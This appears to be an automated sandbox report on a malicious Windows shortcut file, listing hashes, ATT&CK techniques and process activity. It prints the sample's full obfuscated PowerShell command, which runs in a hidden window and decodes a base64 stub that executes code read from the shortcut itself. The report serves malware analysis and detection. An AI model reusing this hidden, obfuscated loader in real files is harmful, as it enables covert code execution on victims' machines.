16d9a43bc7a5445df46356beebb592312b3c05e1570ff0341221649d2131d3cd

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22/05/2024, 20:15

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General

Target

687b73b76e0fbcf849bcf8b6fa115720_JaffaCakes118.lnk
Size

4KB
MD5

687b73b76e0fbcf849bcf8b6fa115720
SHA1

bc477f041578f3661f92bab600cc3a83baa5f535
SHA256

16d9a43bc7a5445df46356beebb592312b3c05e1570ff0341221649d2131d3cd
SHA512

99227886a148d29c414a8bdddbdd769969e3577f707e47783a765e33fdd939b5a0ed06a408ddd4f905a0ff87bbfad785a4a9aca8b75b22912ef537e598a0337e
SSDEEP

48:81udOcDT8AwV2dDlW1vffNwi5c4qcJMIlDqRv:8Id/h4Nd5RzCAD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2580	POwerSheLL.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2580	POwerSheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	POwerSheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2580	2240	cmd.exe	29
PID 2240 wrote to memory of 2580	2240	cmd.exe	29
PID 2240 wrote to memory of 2580	2240	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\687b73b76e0fbcf849bcf8b6fa115720_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\system32\WinDow~1\v1.0\POwerSheLL.exe
  "C:\Windows\system32\WinDow~1\v1.0\POwerSheLL.exe" -w hidden $s='LWpvaW4oKDM2LDUzLDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1Myw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1Myw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTMsNjEsMTAzLDEwNSwzMiwzNiw1Myw1OSwxMTUsNTUsNDksMzIsNDAsMTAzLDk5LDMyLDM2LDUzLDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4';Function s71{param($o);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($o)))}s71 $s
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2580-57-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2580-58-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2580-59-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download